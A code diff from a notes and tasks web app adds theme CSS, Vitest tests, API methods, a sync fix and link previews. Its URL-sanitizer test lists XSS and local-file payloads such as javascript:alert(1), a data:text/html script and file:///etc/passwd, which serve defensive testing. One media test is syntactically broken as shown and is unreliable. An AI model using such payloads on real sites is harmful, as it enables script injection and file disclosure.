||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #d4d4d4;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
|
||||
:root:not(.dark),
|
||||
:root[data-theme="light"] {
|
||||
--code-keyword: #0000ff;
|
||||
--code-string: #a31515;
|
||||
--code-number: #098658;
|
||||
--code-comment: #007000;
|
||||
--code-property: #0451a5;
|
||||
--code-function: #795e26;
|
||||
--code-type: #267f99;
|
||||
--code-punctuation: #2e2e2e;
|
||||
--code-variable: #001080;
|
||||
}
|
||||
|
||||
.token.comment,
|
||||
.token.prolog,
|
||||
.token.doctype,
|
||||
.token.cdata {
|
||||
color: #71717a;
|
||||
color: var(--code-comment);
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.token.punctuation {
|
||||
color: #94a3b8;
|
||||
.token.punctuation,
|
||||
.token.operator {
|
||||
color: var(--code-punctuation);
|
||||
}
|
||||
|
||||
.token.property,
|
||||
.token.tag,
|
||||
.token.boolean,
|
||||
.token.key,
|
||||
.token.attr-name {
|
||||
color: var(--code-property);
|
||||
}
|
||||
|
||||
.token.string,
|
||||
.token.char,
|
||||
.token.attr-value,
|
||||
.token.scalar,
|
||||
.token.inserted,
|
||||
.language-css .token.string,
|
||||
.style .token.string {
|
||||
color: var(--code-string);
|
||||
}
|
||||
|
||||
.token.number,
|
||||
.token.constant,
|
||||
.token.symbol,
|
||||
.token.deleted {
|
||||
color: #f43f5e;
|
||||
}
|
||||
|
||||
.token.selector,
|
||||
.token.attr-name,
|
||||
.token.string,
|
||||
.token.char,
|
||||
.token.builtin,
|
||||
.token.inserted {
|
||||
color: #10b981;
|
||||
}
|
||||
|
||||
.token.operator,
|
||||
.token.entity,
|
||||
.token.url,
|
||||
.language-css .token.string,
|
||||
.style .token.string {
|
||||
color: #38bdf8;
|
||||
.token.datetime {
|
||||
color: var(--code-number);
|
||||
}
|
||||
|
||||
.token.keyword,
|
||||
.token.boolean,
|
||||
.token.null,
|
||||
.token.atrule,
|
||||
.token.attr-value,
|
||||
.token.keyword {
|
||||
color: #818cf8;
|
||||
font-weight: 600;
|
||||
.token.directive,
|
||||
.token.tag,
|
||||
.token.deleted {
|
||||
color: var(--code-keyword);
|
||||
}
|
||||
|
||||
.token.key.atrule {
|
||||
color: var(--code-property);
|
||||
}
|
||||
|
||||
.token.function,
|
||||
.token.class-name {
|
||||
color: #fbbf24;
|
||||
.token.function-variable {
|
||||
color: var(--code-function);
|
||||
}
|
||||
|
||||
.token.class-name,
|
||||
.token.type,
|
||||
.token.builtin,
|
||||
.token.namespace {
|
||||
color: var(--code-type);
|
||||
}
|
||||
|
||||
.token.variable,
|
||||
.token.regex,
|
||||
.token.important,
|
||||
.token.variable {
|
||||
color: #f97316;
|
||||
.token.selector,
|
||||
.token.entity,
|
||||
.token.url {
|
||||
color: var(--code-variable);
|
||||
}
|
||||
|
||||
.token.boolean.important,
|
||||
.token.null.important {
|
||||
color: var(--code-keyword);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -499,3 +543,22 @@ body {
|
||||
padding-bottom: 6px !important;
|
||||
}
|
||||
}
|
||||
|
||||
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
|
||||
fieldset:disabled :is(button, input, select, textarea) {
|
||||
opacity: 0.5;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* Outliner: indent per level and the width a row keeps for its text. Phones indent less and let very
|
||||
deep rows run wider than the screen (the note then scrolls sideways) instead of squeezing the text. */
|
||||
:root {
|
||||
--outline-indent: 14px;
|
||||
--outline-min-text: 14rem;
|
||||
}
|
||||
@media (min-width: 640px) {
|
||||
:root {
|
||||
--outline-indent: 22px;
|
||||
--outline-min-text: 0px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { linkCardUrl, hidePreviewContent } from '../linkPreview';
|
||||
|
||||
describe('link preview helpers', () => {
|
||||
it('returns the URL only when the entire trimmed content is a single https address', () => {
|
||||
expect(linkCardUrl('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
|
||||
expect(linkCardUrl(' https://example.com/page/ ')).toBe('https://example.com/page/');
|
||||
expect(linkCardUrl('Rezept: https://koch.de/spaetzle, lecker!')).toBeNull();
|
||||
expect(linkCardUrl('https://a.de https://b.de')).toBeNull();
|
||||
expect(linkCardUrl('siehe (https://x.de/p).')).toBeNull();
|
||||
expect(linkCardUrl('[Kochseite](https://koch.de)')).toBeNull();
|
||||
expect(linkCardUrl('http://unsicher.de')).toBeNull();
|
||||
expect(linkCardUrl('nur Text')).toBeNull();
|
||||
});
|
||||
|
||||
it('hides a preview by turning the address into a named link', () => {
|
||||
expect(hidePreviewContent('Lesen: https://koch.de/x', 'https://koch.de/x', 'Käsespätzle [Rezept]')).toBe(
|
||||
'Lesen: [Käsespätzle Rezept](https://koch.de/x)'
|
||||
);
|
||||
expect(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', '')).toBe('[koch.de](https://koch.de/x)');
|
||||
expect(linkCardUrl(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', 'T'))).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,35 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { render } from '@testing-library/react';
|
||||
import { renderInlineMarkdown } from '../markdown';
|
||||
|
||||
describe('renderInlineMarkdown', () => {
|
||||
it('renders bold text with <strong> tag', () => {
|
||||
const { container } = render(<div>{renderInlineMarkdown('Text mit **fettem** Wort')}</div>);
|
||||
const strong = container.querySelector('strong');
|
||||
expect(strong).toBeTruthy();
|
||||
expect(strong?.textContent).toBe('fettem');
|
||||
});
|
||||
|
||||
it('renders italic text with <em> tag', () => {
|
||||
const { container } = render(<div>{renderInlineMarkdown('Text mit *kursivem* Wort')}</div>);
|
||||
const em = container.querySelector('em');
|
||||
expect(em).toBeTruthy();
|
||||
expect(em?.textContent).toBe('kursivem');
|
||||
});
|
||||
|
||||
it('renders both bold and italic text in one paragraph', () => {
|
||||
const { container } = render(<div>{renderInlineMarkdown('Hier ist **fett** und *kursiv* vereint')}</div>);
|
||||
const strong = container.querySelector('strong');
|
||||
const em = container.querySelector('em');
|
||||
expect(strong?.textContent).toBe('fett');
|
||||
expect(em?.textContent).toBe('kursiv');
|
||||
});
|
||||
|
||||
it('renders links correctly', () => {
|
||||
const { container } = render(<div>{renderInlineMarkdown('[Testseite](https://example.com)')}</div>);
|
||||
const link = container.querySelector('a');
|
||||
expect(link).toBeTruthy();
|
||||
expect(link?.getAttribute('href')).toBe('https://example.com/');
|
||||
expect(link?.textContent).toBe('Testseite');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,19 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mediaContent, parseMediaContent } from '../media';
|
||||
|
||||
describe('media content format', () => {
|
||||
it('round-trips captions, also with brackets and backslashes', () => {
|
||||
for (const caption of ['', 'Urlaub 2026', 'Plan [Entwurf]', 'C:\\Fotos\\x', 'zwei\nZeilen']) {
|
||||
const content = mediaContent('image', 'med_0123abcd', caption);
|
||||
expect(content.startsWith('');
|
||||
});
|
||||
|
||||
it('ignores anything that is not a media reference', () => {
|
||||
expect(parseMediaContent('')).toBeNull();
|
||||
expect(parseMediaContent('Text ')).toBeNull();
|
||||
expect(parseMediaContent('')).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,38 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { safeHref } from '../safeUrl';
|
||||
|
||||
describe('safeHref', () => {
|
||||
it('keeps web and mail links', () => {
|
||||
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
|
||||
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
|
||||
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
|
||||
});
|
||||
|
||||
it('drops everything that could run code or load local data', () => {
|
||||
for (const bad of [
|
||||
'javascript:alert(1)',
|
||||
'JaVaScRiPt:alert(1)',
|
||||
' javascript:alert(1)',
|
||||
'java\tscript:alert(1)',
|
||||
'java\nscript:alert(1)',
|
||||
'data:text/html,<script>alert(1)</script>',
|
||||
'vbscript:msgbox(1)',
|
||||
'file:///etc/passwd',
|
||||
'/relative/path',
|
||||
'',
|
||||
]) {
|
||||
expect(safeHref(bad)).toBeNull();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Markdown links in task notes', () => {
|
||||
it('render javascript: links as text, web links as links', async () => {
|
||||
const { render } = await import('@testing-library/react');
|
||||
const { MarkdownViewer } = await import('../markdown');
|
||||
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
|
||||
const links = Array.from(container.querySelectorAll('a'));
|
||||
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
|
||||
expect(container.textContent).toContain('Rechnung');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,250 @@
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { act, renderHook, waitFor } from '@testing-library/react';
|
||||
|
||||
const getAuthStatus = vi.fn();
|
||||
const transcribe = vi.fn();
|
||||
vi.mock('../api', () => ({ api: { getAuthStatus: (...a: any[]) => getAuthStatus(...a), transcribe: (...a: any[]) => transcribe(...a) } }));
|
||||
|
||||
import { useVoiceInput } from '../useVoiceInput';
|
||||
import { resetVoiceConfig } from '../voice';
|
||||
|
||||
class FakeMediaRecorder {
|
||||
static isTypeSupported = (t: string) => t === 'audio/webm;codecs=opus';
|
||||
state: 'inactive' | 'recording' = 'inactive';
|
||||
mimeType = 'audio/webm;codecs=opus';
|
||||
ondataavailable: ((e: { data: Blob }) => void) | null = null;
|
||||
onstop: (() => void) | null = null;
|
||||
constructor(public stream: any) {}
|
||||
start() {
|
||||
this.state = 'recording';
|
||||
}
|
||||
stop() {
|
||||
this.state = 'inactive';
|
||||
this.ondataavailable?.({ data: new Blob(['audio'], { type: this.mimeType }) });
|
||||
this.onstop?.();
|
||||
}
|
||||
}
|
||||
|
||||
const stopTrack = vi.fn();
|
||||
|
||||
beforeEach(() => {
|
||||
resetVoiceConfig();
|
||||
getAuthStatus.mockReset();
|
||||
transcribe.mockReset();
|
||||
stopTrack.mockReset();
|
||||
(window as any).MediaRecorder = FakeMediaRecorder;
|
||||
Object.defineProperty(navigator, 'mediaDevices', {
|
||||
configurable: true,
|
||||
value: { getUserMedia: vi.fn(async () => ({ getTracks: () => [{ stop: stopTrack }] })) },
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
delete (window as any).MediaRecorder;
|
||||
delete (window as any).SpeechRecognition;
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
describe('useVoiceInput', () => {
|
||||
it('server mode: records, sends the audio to the own server and returns its text', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
|
||||
transcribe.mockResolvedValue('Milch kaufen');
|
||||
const onText = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('server'));
|
||||
expect(result.current.available).toBe(true);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
expect(result.current.state).toBe('listening');
|
||||
|
||||
await act(async () => {
|
||||
await result.current.stop();
|
||||
});
|
||||
expect(transcribe).toHaveBeenCalledTimes(1);
|
||||
expect((transcribe.mock.calls[0][0] as Blob).type).toBe('audio/webm;codecs=opus');
|
||||
expect(onText).toHaveBeenCalledWith('Milch kaufen', true);
|
||||
expect(result.current.state).toBe('idle');
|
||||
expect(stopTrack).toHaveBeenCalled(); // microphone released
|
||||
});
|
||||
|
||||
it('server mode: cancel throws the recording away', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
|
||||
const onText = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('server'));
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
act(() => result.current.cancel());
|
||||
expect(transcribe).not.toHaveBeenCalled();
|
||||
expect(onText).not.toHaveBeenCalled();
|
||||
expect(result.current.state).toBe('idle');
|
||||
});
|
||||
|
||||
it('server mode: a failing server reports an error instead of text', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
|
||||
transcribe.mockRejectedValue(new Error('Spracherkennung fehlgeschlagen'));
|
||||
const onText = vi.fn();
|
||||
const onError = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText, onError }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('server'));
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
await act(async () => {
|
||||
await result.current.stop();
|
||||
});
|
||||
expect(onError).toHaveBeenCalledWith('Spracherkennung fehlgeschlagen');
|
||||
expect(onText).not.toHaveBeenCalled();
|
||||
expect(result.current.state).toBe('idle');
|
||||
});
|
||||
|
||||
it('server mode: stops by itself after the maximum length', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 5 } });
|
||||
transcribe.mockResolvedValue('Zu lang');
|
||||
const onText = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('server'));
|
||||
vi.useFakeTimers();
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
await act(async () => {
|
||||
vi.advanceTimersByTime(5000);
|
||||
});
|
||||
vi.useRealTimers();
|
||||
await waitFor(() => expect(onText).toHaveBeenCalledWith('Zu lang', true));
|
||||
});
|
||||
|
||||
it('hides the microphone when switched off, and without browser recognition', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'off', maxSeconds: 600 } });
|
||||
const off = renderHook(() => useVoiceInput({ onText: vi.fn() }));
|
||||
await waitFor(() => expect(off.result.current.mode).toBe('off'));
|
||||
expect(off.result.current.available).toBe(false);
|
||||
|
||||
resetVoiceConfig();
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'browser', maxSeconds: 600 } });
|
||||
const none = renderHook(() => useVoiceInput({ onText: vi.fn() }));
|
||||
await waitFor(() => expect(none.result.current.mode).toBe('unsupported'));
|
||||
expect(none.result.current.available).toBe(false);
|
||||
});
|
||||
|
||||
it('browser mode with live=true: restarts on pause (onend), keeps base text, rate-limits restarts to 300ms, and sends final=true only on stop()', async () => {
|
||||
const instances: any[] = [];
|
||||
class FakeSpeechRecognition {
|
||||
lang = '';
|
||||
interimResults = false;
|
||||
continuous = false;
|
||||
onresult: ((e: any) => void) | null = null;
|
||||
onerror: ((e: any) => void) | null = null;
|
||||
onend: (() => void) | null = null;
|
||||
constructor() {
|
||||
instances.push(this);
|
||||
}
|
||||
start() {}
|
||||
stop() {
|
||||
this.onend?.();
|
||||
}
|
||||
abort() {}
|
||||
}
|
||||
(window as any).SpeechRecognition = FakeSpeechRecognition;
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'browser', maxSeconds: 600 } });
|
||||
|
||||
const onText = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText, live: true }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('browser'));
|
||||
|
||||
vi.useFakeTimers();
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
expect(instances).toHaveLength(1);
|
||||
|
||||
// First utterance before a pause
|
||||
act(() => {
|
||||
instances[0].onresult?.({ results: [[{ transcript: 'Erster Satz.' }]] });
|
||||
});
|
||||
expect(onText).toHaveBeenLastCalledWith('Erster Satz.', false);
|
||||
|
||||
// Browser ends recognition on speech pause -> immediate restart (#2)
|
||||
act(() => {
|
||||
instances[0].onend?.();
|
||||
});
|
||||
expect(instances).toHaveLength(2);
|
||||
expect(onText).not.toHaveBeenCalledWith(expect.anything(), true);
|
||||
|
||||
// Another immediate onend within <300ms waits until 300ms have passed
|
||||
act(() => {
|
||||
instances[1].onend?.();
|
||||
});
|
||||
expect(instances).toHaveLength(2);
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(300);
|
||||
});
|
||||
expect(instances).toHaveLength(3);
|
||||
|
||||
// Second utterance appends to base text
|
||||
act(() => {
|
||||
instances[2].onresult?.({ results: [[{ transcript: 'Zweiter Satz.' }]] });
|
||||
});
|
||||
expect(onText).toHaveBeenLastCalledWith('Erster Satz. Zweiter Satz.', false);
|
||||
|
||||
// Explicit stop() finishes with final=true
|
||||
await act(async () => {
|
||||
await result.current.stop();
|
||||
});
|
||||
expect(onText).toHaveBeenLastCalledWith('Erster Satz. Zweiter Satz.', true);
|
||||
expect(result.current.state).toBe('idle');
|
||||
});
|
||||
|
||||
it('server mode with live=true: cuts segments onto new MediaRecorders on the same stream, orders out-of-order responses by chunk index, and releases stream at the end', async () => {
|
||||
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
|
||||
|
||||
const resolvers: Array<(text: string) => void> = [];
|
||||
transcribe.mockImplementation(
|
||||
() =>
|
||||
new Promise<string>((resolve) => {
|
||||
resolvers.push(resolve);
|
||||
})
|
||||
);
|
||||
|
||||
const onText = vi.fn();
|
||||
const { result } = renderHook(() => useVoiceInput({ onText, live: true }));
|
||||
await waitFor(() => expect(result.current.mode).toBe('server'));
|
||||
|
||||
vi.useFakeTimers();
|
||||
await act(async () => {
|
||||
await result.current.start();
|
||||
});
|
||||
|
||||
// Advance 8s -> segment 0 is cut and sent to transcribe, stream is NOT released yet
|
||||
await act(async () => {
|
||||
await vi.advanceTimersByTimeAsync(8000);
|
||||
});
|
||||
expect(transcribe).toHaveBeenCalledTimes(1);
|
||||
expect(stopTrack).not.toHaveBeenCalled();
|
||||
|
||||
// Advance 4s and stop -> segment 1 (final) is sent to transcribe, stream IS released now
|
||||
await act(async () => {
|
||||
await vi.advanceTimersByTimeAsync(4000);
|
||||
await result.current.stop();
|
||||
});
|
||||
expect(transcribe).toHaveBeenCalledTimes(2);
|
||||
expect(stopTrack).toHaveBeenCalledTimes(1);
|
||||
|
||||
// Resolve chunk 1 BEFORE chunk 0 to verify index-based ordering
|
||||
await act(async () => {
|
||||
resolvers[1]('zweiter Teil');
|
||||
});
|
||||
expect(onText).toHaveBeenLastCalledWith('zweiter Teil', false);
|
||||
|
||||
// Now resolve chunk 0 -> both chunks are done, ordered "Erster Teil zweiter Teil" with final=true
|
||||
await act(async () => {
|
||||
resolvers[0]('Erster Teil');
|
||||
});
|
||||
expect(onText).toHaveBeenLastCalledWith('Erster Teil zweiter Teil', true);
|
||||
expect(result.current.state).toBe('idle');
|
||||
});
|
||||
});
|
||||
@@ -27,6 +27,7 @@ import {
|
||||
Team,
|
||||
TaskList,
|
||||
TaskListShare,
|
||||
Session,
|
||||
Thought,
|
||||
SubTask,
|
||||
SearchResults,
|
||||
@@ -34,6 +35,9 @@ import {
|
||||
TagSummary,
|
||||
User,
|
||||
UserInvite,
|
||||
NotificationSettings,
|
||||
VoiceAdminStatus,
|
||||
MergeResult,
|
||||
WSMessage,
|
||||
} from './types';
|
||||
import { extractHashtags } from './hashtags';
|
||||
@@ -145,6 +149,10 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
|
||||
window.dispatchEvent(new CustomEvent('mindsift:unauthorized'));
|
||||
}
|
||||
|
||||
// Sliding session: the server hands out a fresh token once a day (or after a password change)
|
||||
const renewed = res.headers.get('X-Session-Token');
|
||||
if (renewed && res.ok) setToken(renewed);
|
||||
|
||||
if (!res.ok) {
|
||||
let errMsg = `HTTP ${res.status}`;
|
||||
try {
|
||||
@@ -209,6 +217,14 @@ export const api = {
|
||||
}
|
||||
},
|
||||
|
||||
async listSessions(): Promise<Session[]> {
|
||||
return ensureArray(await request<Session[]>('/api/v1/auth/sessions'));
|
||||
},
|
||||
|
||||
async endSession(id: string): Promise<void> {
|
||||
await request(`/api/v1/auth/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
|
||||
},
|
||||
|
||||
async revokeAllSessions(): Promise<void> {
|
||||
await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' });
|
||||
},
|
||||
@@ -270,12 +286,14 @@ export const api = {
|
||||
displayName?: string;
|
||||
email?: string;
|
||||
password?: string;
|
||||
currentPassword?: string;
|
||||
avatarUrl?: string;
|
||||
alarmChannels?: string[];
|
||||
alarmEmail?: string;
|
||||
discordWebhookUrl?: string;
|
||||
customWebhookUrl?: string;
|
||||
notifyBeforeMinutes?: number;
|
||||
notificationSettings?: NotificationSettings;
|
||||
}): Promise<User> {
|
||||
return request<User>('/api/v1/auth/settings', {
|
||||
method: 'PATCH',
|
||||
@@ -394,6 +412,18 @@ export const api = {
|
||||
return ensureArray(res);
|
||||
},
|
||||
|
||||
async watchTask(taskId: string): Promise<{ watching: boolean }> {
|
||||
return request<{ watching: boolean }>(`/api/v1/tasks/${encodeURIComponent(taskId)}/watch`, {
|
||||
method: 'POST',
|
||||
});
|
||||
},
|
||||
|
||||
async unwatchTask(taskId: string): Promise<{ watching: boolean }> {
|
||||
return request<{ watching: boolean }>(`/api/v1/tasks/${encodeURIComponent(taskId)}/watch`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
},
|
||||
|
||||
async reorderTasks(items: { id: string; sortOrder: number; kanbanStatus?: string }[], taskListId?: string): Promise<{ success: boolean }> {
|
||||
const url = taskListId ? `/api/v1/task-lists/${taskListId}/tasks/reorder` : '/api/v1/tasks/reorder';
|
||||
return request<{ success: boolean }>(url, {
|
||||
@@ -693,6 +723,34 @@ export const api = {
|
||||
return request<TrashedDocument[]>('/api/v1/documents/trash');
|
||||
},
|
||||
|
||||
/** Creates a note from a bullet's children; the editor then replaces the branch by `link` itself. */
|
||||
async extractBranch(docId: string, blockId: string, clientId: string): Promise<{ document: Document; link: string }> {
|
||||
return request<{ document: Document; link: string }>(`/api/v1/documents/${docId}/extract`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ blockId, clientId }),
|
||||
});
|
||||
},
|
||||
|
||||
/** Puts a note created by extractBranch into the trash again. */
|
||||
async undoExtract(newDocId: string): Promise<void> {
|
||||
await request(`/api/v1/documents/${newDocId}/extract/undo`, { method: 'POST' });
|
||||
},
|
||||
|
||||
/** Appends the source note to the target; the source goes to the trash. */
|
||||
async mergeDocuments(targetId: string, sourceId: string): Promise<MergeResult> {
|
||||
return request<MergeResult>(`/api/v1/documents/${targetId}/merge`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ sourceId }),
|
||||
});
|
||||
},
|
||||
|
||||
async undoMerge(m: MergeResult): Promise<void> {
|
||||
await request(`/api/v1/documents/${m.targetId}/merge/undo`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ sourceId: m.sourceId, headingId: m.headingId }),
|
||||
});
|
||||
},
|
||||
|
||||
async restoreDocument(id: string): Promise<void> {
|
||||
await request(`/api/v1/documents/${id}/restore`, { method: 'POST' });
|
||||
},
|
||||
@@ -1033,6 +1091,26 @@ export const api = {
|
||||
await request(`/api/v1/admin/invites/${id}`, { method: 'DELETE' });
|
||||
},
|
||||
|
||||
async adminVoiceStatus(): Promise<VoiceAdminStatus> {
|
||||
return request<VoiceAdminStatus>('/api/v1/admin/voice');
|
||||
},
|
||||
|
||||
// Sends a recording to the own Whisper server (voice mode "server") and returns the text
|
||||
async transcribe(audio: Blob): Promise<string> {
|
||||
const token = getToken();
|
||||
const ext = audio.type.includes('mp4') ? 'm4a' : audio.type.includes('ogg') ? 'ogg' : 'webm';
|
||||
const form = new FormData();
|
||||
form.append('file', audio, `aufnahme.${ext}`);
|
||||
const res = await fetch('/api/v1/voice/transcribe', {
|
||||
method: 'POST',
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
body: form,
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || `Spracherkennung fehlgeschlagen (HTTP ${res.status})`);
|
||||
return data.text || '';
|
||||
},
|
||||
|
||||
async adminGetSettings(): Promise<SystemSettings> {
|
||||
return request<SystemSettings>('/api/v1/admin/settings');
|
||||
},
|
||||
|
||||
@@ -335,6 +335,29 @@ describe('DocSyncEngine', () => {
|
||||
expect(contents(a)).toEqual(expect.arrayContaining(['B hat geändert', 'Start + A']));
|
||||
});
|
||||
|
||||
it('typing in a rhythm (several edits per sync) causes no conflict with oneself', async () => {
|
||||
const server = new FakeServer();
|
||||
const net = new FakeNet(server);
|
||||
const engine = await startEngine(net);
|
||||
engine.focusBlock('b1');
|
||||
// Pauses longer than the field's debounce but shorter than the sync debounce: several edits per sync
|
||||
for (const text of ['S', 'Sc', 'Sch']) edit(engine, (b) => [{ ...b[0], content: text }]);
|
||||
await engine.syncNow();
|
||||
edit(engine, (b) => [{ ...b[0], content: 'Schr' }]);
|
||||
edit(engine, (b) => [{ ...b[0], content: 'Schre' }]);
|
||||
// More typing while the request is on the wire
|
||||
net.duringRequest = () => edit(engine, (b) => [{ ...b[0], content: 'Schrei' }]);
|
||||
await engine.syncNow();
|
||||
edit(engine, (b) => [{ ...b[0], content: 'Schreib' }]);
|
||||
await engine.syncNow();
|
||||
edit(engine, (b) => [{ ...b[0], content: 'Schreibe' }]);
|
||||
await engine.syncNow();
|
||||
|
||||
expect(engine.getState().conflicts).toEqual([]);
|
||||
expect(serverContents(server)).toEqual(['Schreibe']);
|
||||
expect(contents(engine)).toEqual(['Schreibe']);
|
||||
});
|
||||
|
||||
it('viewers cannot change anything', async () => {
|
||||
const server = new FakeServer();
|
||||
const viewer = await startEngine(new FakeNet(server, 'viewer'));
|
||||
|
||||
@@ -462,7 +462,10 @@ export class DocSyncEngine {
|
||||
|
||||
private recompute(): void {
|
||||
const v = cloneDoc(this.confirmed);
|
||||
for (const op of [...(this.inflight || []), ...this.pending]) {
|
||||
// Pending ops count the way they will be sent: formBatch folds all text changes of a block into one,
|
||||
// so the server raises its version once. Applying every keystroke here would number local versions
|
||||
// ahead of the server, and the next edit of the focused block would conflict with the user's own text.
|
||||
for (const op of [...(this.inflight || []), ...formBatch(this.pending)]) {
|
||||
const local = { ...op };
|
||||
if (local.kind === 'set_content') local.baseVersion = v.blocks.get(local.blockId!)?.version ?? 0;
|
||||
if (local.kind === 'set_title') local.baseVersion = v.titleVersion;
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
// Link previews in notes: a card above a bullet that contains a plain web address. The server fetches
|
||||
// the page (https only) and keeps title, description, picture and icon; the browser only talks to
|
||||
// MindSift. Hiding the card for one link turns the address into a named link [Titel](url), so the
|
||||
// choice syncs with the note; a global switch (this device) turns all previews off.
|
||||
import { useEffect, useState } from 'react';
|
||||
import { getToken } from './api';
|
||||
|
||||
export interface LinkPreview {
|
||||
key: string;
|
||||
url: string;
|
||||
title: string;
|
||||
description: string;
|
||||
siteName: string;
|
||||
hasImage: boolean;
|
||||
hasIcon: boolean;
|
||||
ok: boolean;
|
||||
}
|
||||
|
||||
// Entire bullet content (trimmed) is a single plain https address
|
||||
const CARD_URL_RE = /^https:\/\/[^\s<>()\]]+[^\s<>()\].,;:!?'"]$/;
|
||||
|
||||
export function linkCardUrl(content: string): string | null {
|
||||
const trimmed = (content || '').trim();
|
||||
return CARD_URL_RE.test(trimmed) ? trimmed : null;
|
||||
}
|
||||
|
||||
/** Replaces the address by a named link, which shows no preview. */
|
||||
export function hidePreviewContent(content: string, url: string, title: string): string {
|
||||
const label = (title || new URL(url).hostname).replace(/[[\]]/g, '').trim() || url;
|
||||
return content.replace(url, `[${label}](${url})`);
|
||||
}
|
||||
|
||||
const cache = new Map<string, Promise<LinkPreview | null>>();
|
||||
|
||||
export function loadLinkPreview(url: string): Promise<LinkPreview | null> {
|
||||
let p = cache.get(url);
|
||||
if (!p) {
|
||||
p = (async () => {
|
||||
const token = getToken();
|
||||
const res = await fetch(`/api/v1/link-preview?url=${encodeURIComponent(url)}`, {
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
});
|
||||
if (!res.ok) return null; // demo, http link, offline: just no card
|
||||
const data = (await res.json()) as LinkPreview;
|
||||
return data.ok ? data : null;
|
||||
})().catch(() => null);
|
||||
cache.set(url, p);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
const SETTING_KEY = 'mindsift_link_previews';
|
||||
const SETTING_EVENT = 'mindsift:link-previews';
|
||||
|
||||
export function linkPreviewsEnabled(): boolean {
|
||||
try {
|
||||
return localStorage.getItem(SETTING_KEY) !== 'off';
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
export function setLinkPreviewsEnabled(on: boolean): void {
|
||||
try {
|
||||
localStorage.setItem(SETTING_KEY, on ? 'on' : 'off');
|
||||
} catch {
|
||||
// private mode: only for this page
|
||||
}
|
||||
window.dispatchEvent(new CustomEvent(SETTING_EVENT));
|
||||
}
|
||||
|
||||
/** The global switch, kept in sync across all open notes and tabs. */
|
||||
export function useLinkPreviewsEnabled(): boolean {
|
||||
const [on, setOn] = useState(linkPreviewsEnabled);
|
||||
useEffect(() => {
|
||||
const update = () => setOn(linkPreviewsEnabled());
|
||||
window.addEventListener(SETTING_EVENT, update);
|
||||
window.addEventListener('storage', update);
|
||||
return () => {
|
||||
window.removeEventListener(SETTING_EVENT, update);
|
||||
window.removeEventListener('storage', update);
|
||||
};
|
||||
}, []);
|
||||
return on;
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import React from 'react';
|
||||
import { safeHref } from './safeUrl';
|
||||
|
||||
/**
|
||||
* Parses inline markdown:
|
||||
